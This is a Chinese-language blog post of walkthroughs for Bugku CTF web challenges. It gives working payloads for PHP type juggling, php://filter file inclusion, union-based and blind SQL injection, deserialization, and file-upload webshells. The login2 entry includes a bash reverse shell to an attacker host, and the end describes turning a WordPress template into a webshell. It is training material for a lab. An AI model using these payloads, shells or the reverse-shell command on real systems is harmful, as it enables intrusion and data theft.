虽然现在我很多题都是要看别人的 writeup 才做的出,但是自己写下来遇到的坑什么的还是有好处的。顺便加深印象啦~
P.S. 我这里没有的都是我写的时候环境坏了的题目
web2
这道题很简单。打开看到一堆滑稽,冷静思考后按下F12,flag就出来了。
计算器
打开后看到要计算,那就算吧。
算出来之后输入,结果只能输一位。想到可能是限制了最大驶入长度。按下F12看到有maxlength,把1改成任意数即可。
web基础$_GET
这道题源码告诉了我们要GET一个 what 变量,如果是 flag 则输出 flag。构造URL如下:
http://123.206.87.240:8002/get/?what=flag
得到flag。
web基础$_POST
和上面的差不多,只是要求 POST 的方式提交。利用hackbar POST 一个 what=flag 上去即可。
矛盾
首先观察源码,num不为数字的时候执行语句,又要num==1才输出flag。
观察到这里用的是 ==,PHP会对比较的两个变量进行类型转换。于是构造num=1a,成功输出flag。
web3
进去之后只有弹窗,一片空白。于是果断抓包。看到html代码最下面有一行注释掉的html密文,丢进 burp 解密得到flag。
域名解析
按照题目修改host文件再访问即可。
你必须让他停下
这道题打开后有一些图片一直在闪,题目说是要让他停下,那就burp抓包慢慢看吧。
丢到repeater里面,发现body里面有一句flag is here~
多GO几次flag就出来了。
本地包含
打开就有源码:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
嗯…………那就var_dump一下$GLOBALS吧。嗯?Too Young Too Simple?那行吧。既然我的输入是eval出来的,那么就闭合前面的var_dump我就可以为所欲为咯?
Payload:
http://123.206.87.240:8003/?hello=);include(%22php://filter/read=convert.base64-encode/resource=flag.php%22
直接伪协议读源码。得到flag。
变量1
打开题目后有一句话 flag in the variable!
意思是flag在变量里面。
接着是源码
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
这个意思是以GET的方式获取args的值,正则是筛掉非字母数字下划线的输入。
重点是下面的 var_dump($$args)
,这个意思是输出一个可变变量的值。根据之前所说的flag在变量里面,很容易想到PHP的超全局变量$GLOBALS
。于是构造URL如下:
http://123.206.87.240:8004/index1.php?args=GLOBALS
得到flag。
web5
JSFuck(或为了避讳脏话Fuck写作 JSF*ck )是一种深奥的 JavaScript 编程风格。以这种风格写成的代码中仅使用 [、]、(、)、! 和 + 六种字符。此编程风格的名字派生自仅使用较少符号写代码的Brainfuck语言。与其他深奥的编程语言不同,以JSFuck风格写出的代码不需要另外的编译器或解释器来执行,无论浏览器或JavaScript引擎中的原生 JavaScript 解释器皆可直接运行。鉴于 JavaScript 是弱类型语言,编写者可以用数量有限的字符重写 JavaScript 中的所有功能,且可以用这种方式执行任何类型的表达式。
查看源码,复制,丢进Console,flag就出来了。
(这里我遇到了一个坑,直接F12显示不完全,所以要Ctrl+U来查看)
头等舱
打开来就一句话,F12也没东西。那就放进Burp里面抓包看看。flag就在头里面。
网站被黑
题目说没技术含量,那就爆破呗~
打开看到一个页面,没什么有用的信息。直接御剑扫一波后台,发现一个shell.php页面。进去后要登录,Burp抓包爆破一波,出密码输入就得到flag。
管理员系统
打开看到要求输入账号密码,于是想到注入。在输入后发现提示IP禁止登录,请联系本地管理员登录,IP已被记录。
按下F12查看源码,发现一段base64加密的密文。解密后得到test123,猜想这个是密码。
输入后还是提示一样的东西,并没有登录进去。
我做到这里是有点懵,想了一会而后去查了writeup。看到说是要伪装成本地管理员。
于是抓包,修改头信息,加入 X-Forwarded-For : 127.0.0.1
这一对键值对。
了解一下XXF?
发包,得到flag。
web4
打开后提示看源码,发现一堆加密后的密文。看到下面是用unescape解码拼接的,于是丢去解码,得到以下源码:
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
大概意思是提交"67d709b2b54aa2aa648cf6e87a7114f1"输出flag。复制粘贴提交,得到flag。
flag在index里面
点开网址,只有一个click me? no! 。但是怎么可能不点开呢(滑稽)
点开后发现只有一个test。但是,观察URL,?file=
这样的语句是可能有文件包含漏洞的。根据题目flag在index里面,猜想是源码中含有flag。于是利用PHP的伪协议(了解一下伪协议?)构造URL如下:
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到base64加密后的源码,解码即可发现flag。
输入密码查看flag
五位数密码?暴力就完事了。Burp intruder走一波,flag就出来了。
点击一百万次
题目说点击一百万次,就算用连点器也够呛吧?怎么可能老实的点呢?查看源码,尝试修改点击数,未果。
再次查看源码,发现是通过post方式传递的点击次数。于是post一个 clicks=1000000 上去,得到flag。
备份是个好习惯
点开后给了一串不知道什么意思的字符串。题目提到了备份,于是猜想备份文件含有源码。
访问index.php.bak,果然下载了一个文件,里面就是源码。
源码需要我们输入两个变量key1和key2,如果它们的值不同且MD5值相同,则输出flag。
这个地方有两种方法绕过:
1.MD5函数处理数组
MD5()函数无法处理数组,如果碰到数组则会返回NULL,这是两个都是NULL就是相同的了。然后数组内的内容不相等即可获得flag。
2.利用==比较漏洞
如果字符串加密后是以 0e 开头的形式的话,就会被认为是科学记数法。0的多少次方都是0,所以两者相等。
下面列出几个MD5加密后是以 0e 开头的字符串:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
得到flag。
成绩单
输入一个参数后会回显数据,猜测可能含有SQL注入漏洞。
检测漏洞
输入以下语句:
1' and 1=1#
发现正常回显数据,说明含有SQL注入漏洞。
查字段
1' order by 4#
有回显,而1' order by 5
没有回显。说明有四个字段,并且这个用户可以使用 order by 指令。
查数据库名
构造语句如下:
' union select 1,2,database(),4 #
查到database名为skctf_flag
查表名
之前的 order by 语句可用,说明这个用户很可能可以访问 information_schema 这个库。构造语句如下:
' union select 1,2,GROUP_CONCAT(table_name),4 from information_schema.tables where table_schema='skctf_flag'#
这里使用了 GROUP_CONCAT 这个函数。它的作用是将多个结果合并输出。得到库里面的表有 fl4g 和 sc。明显flag就在fl4g这个表里面。
查列名
构造语句如下:
' union select 1,2,GROUP_CONCAT(column_name),table_name from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g'#
查到里面有一个字段 skctf_flag。
查字段中的数据
' union select 1,2,group_concat(skctf_flag),4 from fl4g#
得到flag。
程序员本地网站
这道题和上面的管理员系统一样的思路,向header中添加一对键值对:X-Forwarded-For : 127.0.0.1
即可获得flag。
md5 collision(NUPT_CTF)
这道题要求输入一个变量a。随便尝试了一些字符都是false。看到题目 md5 collision,想到可能是特殊的MD5,即加密后为 0e 开头的字符串。于是构造payload:
http://123.206.87.240:9009/md5.php?a=s878926199a
得到flag。
字符?正则?
这道题就是正则表达式了。构造一个payload匹配这个正则表达式即可得到flag。
我构造的payload如下:
http://123.206.87.240:8002/web10/?id=keykey1234key:/6/keyz:
never give up
打开只有一句话,看到URL有一个id=1,以为是注入,注了半天什么都没有。于是查看源码,发现了一个1p.html。
访问之后发现跳转到了Bugku的主页,猜想跳转过程中可能藏了什么信息。上Burp,抓包,repeater一波,果然抓到了一些密文。经过base64解密后得到以下源码:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
给了一堆限制条件。但是,文件名都给了,还管什么限制?直接访问目录下的f4l2a3g.txt这个文件,得到flag。
秋名山老司机
这道题,直接上脚本:
# -*- coding: UTF-8 -*-
import requests
from bs4 import BeautifulSoup
url = "http://123.206.87.240:8002/qiumingshan/"
r = requests.session()
html = r.get(url).text
soup = BeautifulSoup(html, 'html.parser')
res = soup.select("div")[0].text.split('=',1)[0] # 匹配出表达式
c = eval(res) # 计算结果
data = {'value': c}
html= r.post(url,data)
print (html.text)
cookies欺骗
这道题打开来后是一堆字符,不知道是什么意思。源码也没什么可用的信息。观察URL,发现filename是base64加密后的。解密后为keys.txt。于是将index.php编码后输入,发现是一片空白。
前面还有一个参数line,值为空。随便改个数,发现输出了一句话,换个数输出的内容不一样。于是猜想这个是输出源码的第几行。上脚本:
import requests
for i in range(18):
url = "http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw" %i
r = requests.get(url)
print (r.text)
输出源码如下:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
观察到cookies为 margin=margin
的时候才能访问keys.php。于是上Burp,抓包改包,访问keys.php,得到flag。
web8
进去后可以看到源码。我们需要输入ac,如果$ac的值等于文件$fn中的内容就打印出flag。
根据题目的提示txt,猜想目录下有一个文件的名字是txt结尾的。输入flag.txt,发现有这个文件,并且里面的内容是flags。于是构造payload:
http://123.206.87.240:8002/web8/index.php?ac=flags&fn=flag.txt
得到flag。
各种绕过
进去后看到源码:
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']); //id进行urldecode解码
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {//判断uname 和POST passwd是否有设置
if ($_GET['uname'] == $_POST['passwd'])
//判断uname和passwd是否相等
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
//uname加密全等于passwd id要等于margin
die('Flag: '.$flag);
else
print 'sorry!';
?>
于是构造payload:
http://123.206.87.240:8002/web7/?id=margin&uname[]=1
POST:passwd[]=2
你从哪里来
这题进去后就一句话:are you from google?
于是抓包,添加一对header:referer : https://www.google.com
,得到flag。
细心
进去就提示404,页面也没有什么提示,于是上御剑扫一波后台,看到有robot.txt这个文件。进去后发现有一个路径是resusl.php。
访问这个路径发现提示不是管理员,还有一句提示:if ($_GET[x]==$password) 此处省略1w字
。于是猜测弱密码admin,构造payload如下:
http://123.206.87.240:8002/web13/resusl.php?x=admin
得到flag。
速度要快
#encoding:utf-8
import requests
import base64
url = "http://123.206.87.240:8002/web6/"
r = requests.session()
response = r.get(url)
flag = response.headers['flag']
key = base64.b64decode(flag)
key = str(key, encoding="utf-8")
print(key)
key = key.split(" ")[1]
key = str(base64.b64decode(key), encoding="utf-8")
print(key)
data = {"margin":key}
response = r.post(url, data=data)
print(response.text)
welcome to bugkuctf
进去查看源码,发现有一串代码:
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
看到这里想到PHP的伪协议:php://input
和 php://filter
。
构造Payload如下:
/*获取hint.php的源码*/
http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php
/*获取index.php的源码*/
http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/convert.base64-encode/resource=index.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
得到源码后观察,我们需要绕过过滤拿到flag。这里利用了反序列化漏洞。话不多说上payload:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$flag = new Flag();
$flag->file = "flag.php";
echo serialize($flag);
?>
/test1/?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}&file=hint.php&txt=php://input
得到flag。
过狗一句话
assert远程执行漏洞。
Payload:
http://120.24.86.145:8010/?s=print_r(scandir('./')); 扫描目录
参考:php代码/命令执行漏洞
login1
打开后是一个登录界面,并且可以注册。Hint提示了SQL约束攻击,于是进到注册界面:
username: admin...(空格)...1
password: Passw0rd
然后去登录:
username: admin
password: Passw0rd
Get flag。
求getshell
这题有点玄学,我其实还不是很懂。
进去后看到上传文件,很明显的文件上传漏洞。然后看检测了什么,绕过去就好了。修改了Content-Type,还是不行。后缀截断发现会被重写。想不出来就去搜writeup了。
下面这个转载来自这里
更改后缀名来得到flag,php别名
php2, php3, php4, php5, phps, pht, phtm, phtml …
Content-Type: Multipart/form-data;
-----------------------------160788178818824807152124289401
Content-Disposition: form-data; name="file"; filename="test.php5"
Content-Type: image/jpeg
<?php
echo "hack";
?>
-----------------------------160788178818824807152124289401
Content-Disposition: form-data; name="submit"
Submit
-----------------------------160788178818824807152124289401--
如果是waf严格匹配,通过修改 Content-type 后字母的大小写可以绕过检测, 使得需要上传的文件可以到达服务器端,而服务器的容错率较高, 一般我们上传的文件可以解析。
flag.php
这道题一开始我以为是要手动POST上去然后注入。结果怎么POST都没用。题目提示是hint,没有任何后缀,访问也显示没有这个路径,于是猜想这是一个参数。构造URL:
http://123.206.87.240:8002/flagphp/?hint=
得到源码:
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
又是一道反序列化的题目。构造Payload:
<?php
$ISecer = '';
echo serialize($ISecer);
?>
PHP_encrypt_1(ISCCCTF)
给出了加密算法和密文,解密就好了。
<?php
function decrypt($str){
$str = base64_decode($str);
$len = strlen($str);
$key = md5('ISCC');
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen){
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i<$len ; $i++) {
if (abs(ord($str[$i])-ord($char[$i])+128)>128) {
$flag .= chr(abs(ord($str[$i])-ord($char[$i])));
}else{
$flag .= chr(abs(ord($str[$i])-ord($char[$i])+128));
}
}
return $flag;
}
$s = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
$res = decrypt($s);
echo $res;
?>
Trim的日记本
御剑扫一波后台,发现一个show.php,进去后拿到flag。
这是一个神奇的登陆框
登陆框,那就注入吧。
(这里有个小问题,我直接用浏览器没有回显,用burp就有。等我弄清楚原因再记录下来吧)
尝试单引号,但是一直try again。单引号应该是被过滤了。
尝试双引号,发现有报错的语句,发现注入点。
admin_name=admin" order by 2#&admin_passwd=admin&submit=GO+GO+GO
发现字段数为2。
接下来嘛…………爆库爆表爆字段,拿到flag。
(这里又有一个小问题,我在查列里面的数据的时候,如果指定了数据库名,就会提示没有select权限;而不指定就可以直接拿到flag。神奇)
这个问题似乎是权限问题,具体等我更加了解后再记录吧。
sql注入2
这道题目是我看了writeup才会写的。这里有三种解法:
- .DS_Store源码泄露:上网找个exp就好了。
- 直接访问flag路径:emmm这种解法……正常肯定不是这么解。
- 这种解法我还不是很理解,先放上原文,等我看懂了再补充吧。
login2(SKCTF)
这道题我也是看别人的writeup才做出来的。
最开始一通瞎注什么都没注出来。然后抓包,发现有一个tip头,base64解码后得到部分源码:
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
观察源码可以发现它先select出来username和password,然后再和用户输入的password进行MD5值的比较。那么可以构造Payload如下:
username=' union select 1,md5(1)#&password=1
这条语句前面闭合了username,返回空。但是union会返回一个1和md5(1)。这时password就是MD5(1)了。然后再在password输入1,就可以绕过后面的if了。
登陆之后进到一个进程监控系统,随便测试几条语句:
ls
ps
;ls
; sleep 5
发现 ls 都没有回显,ps有回显。但是最后一条sleep输入后等待了五秒网页才刷新。于是判断输入的指令都会被执行,但是返回结果会被过滤。于是执行一个反弹shell:
|bash -i >& /dev/tcp/你的公网ip/8888 0>&1
使用一台VPS nc 上去后即可得到flag。
这题还有一种不用VPS的解法:参考这里
login3(SKCTF)
这道题目提示是基于布尔的SQL盲注。打开后还是登陆框,那就注入吧。
先看过滤了什么字符。测试一通后发现 空格,逗号,等号,and 这四个被过滤了。
然后我就去找writeup了(捂脸)。这道题需要用宽字节注入来绕过对单引号的转义。然后我的做法是写了个脚本直接爆破密码(因为用户名错误和密码错误返回是不同的):
#encoding: utf-8
import requests
url = "http://123.206.31.85:49167/"
payload = "admin%df'or(select(password))>'"
res = ""
r = requests.session()
for i in range(32):
res += 'f'
q = "0123456789abcdef"
for i in range(32):
for j in q:
res = res[:i] + j + res[i+1:]
data = {
"username": payload + res,
"password": "admin"
}
response = r.post(url, data=data)
if "exist" in response.text:
break
print(res)
print(res)
(第一次写脚本,写得不好轻喷)
爆破出来admin密码的md5值,登陆后即可得到flag。
多次
https://blog.domineto.top/wp/duoci.html
INSERT INTO注入
https://blog.domineto.top/wp/insert_into.html
前女友
这题似乎环境修好了,之前我记得是坏的……
打开来后查看源代码,里面有个链接可以跳转。访问后得到一份PHP的源码:
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
审计源码,绕过两个if就可以得到flag了。那么就开始绕过吧。
第一个if可以使用PHP == 的漏洞,找两个MD5后为0e开头的字符串就行了。
第二个if可以用strcmp的一个漏洞。在PHP5.2以后,如果比较的两个数据类型不一样的话(如数组和字符串)就会报错并返回0。
Payload:
http://123.206.31.85:49162/?v1=s878926199a&v2=s155964671a&v3[]=123
得到flag。
文件包含2
进去后查看网页源代码,发现有注释upload.php。访问后是一个上传界面。题目hint是文件包含,而url里又有一个file=,自然就想到了文件上传+LEI。上传木马,测试一下发现检测了后缀,Content-Type,还有文件首字节。构造木马文件内容如下:
....
<?php eval($_POST["cmd"]);?>
上传。被改名了?好吧……访问一下看看,发现竟然不是解析为图片,但是 <?php
和 ?>
被waf吃了。那就修改payload:
....
<script language="php"> eval($_POST["cmd"]);</script>
上传,菜刀连上去,成功Get Flag。
既然都Getshell了,那就看看它的源码吧 XD
index.php
<!-- upload.php -->
<?php
if(!isset($_GET['file']))
{
header('Location: ./index.php?file=hello.php');
exit();
}
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<h1>NAIVE!!!</h1>";
}
else
{
include($file);
}
}
?>
upload.php
<html>
<head>
<meta charset="utf-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>UPLOAD</title>
</head>
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
请上传jpg gif png 格式的文件 文件大小不能超过100KiB<br>
<?php
//error_reporting(0);
if(!empty($_FILES["file"]))
{
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
$filename = date('Ymdhis').rand(1000, 9999).'.'.$extension;
if(move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)){
$url="upload/".$filename;
$content = file_get_contents($url);
$content = preg_replace('/<\?php|\?>/i', '_', $content);
file_put_contents('upload/'.$filename, $content);
echo "file upload successful!Save in: " . "upload/" . $filename;
}else{
echo "upload failed!";
}
}
else
{
echo "upload failed! allow only jpg,png,gif,jpep";
}
}
?>
我还是不改源码了吧……(●ˇ∀ˇ●) (好像也改不了QAQ)
孙xx的博客
这题我是懵圈的,好像环境给搞坏了。反正我找到的的writeup我都试了一遍,这里放一个正确flag的writeup吧。原文戳这里)
这题和以前不一样了,bugku到底实在不停发展/更新啊
以前是社工猜到账号sun,密码sun19980321(生日)
进后台,看到一串奇怪的字符串
扫目录发现phpmyadmin,用那串字符串做数据库密码登陆,看到flag表中有flag
现在是直接wordpress改模板,我直接把一个404模板改成了大马(反正那个404模板早就炸了,不是我干的)
http://wp.bugku.com/wp-content/themes/twentyseventeen/404.php
访问大马,/web目录下有flag
flag{wp-a7S8S_bukk}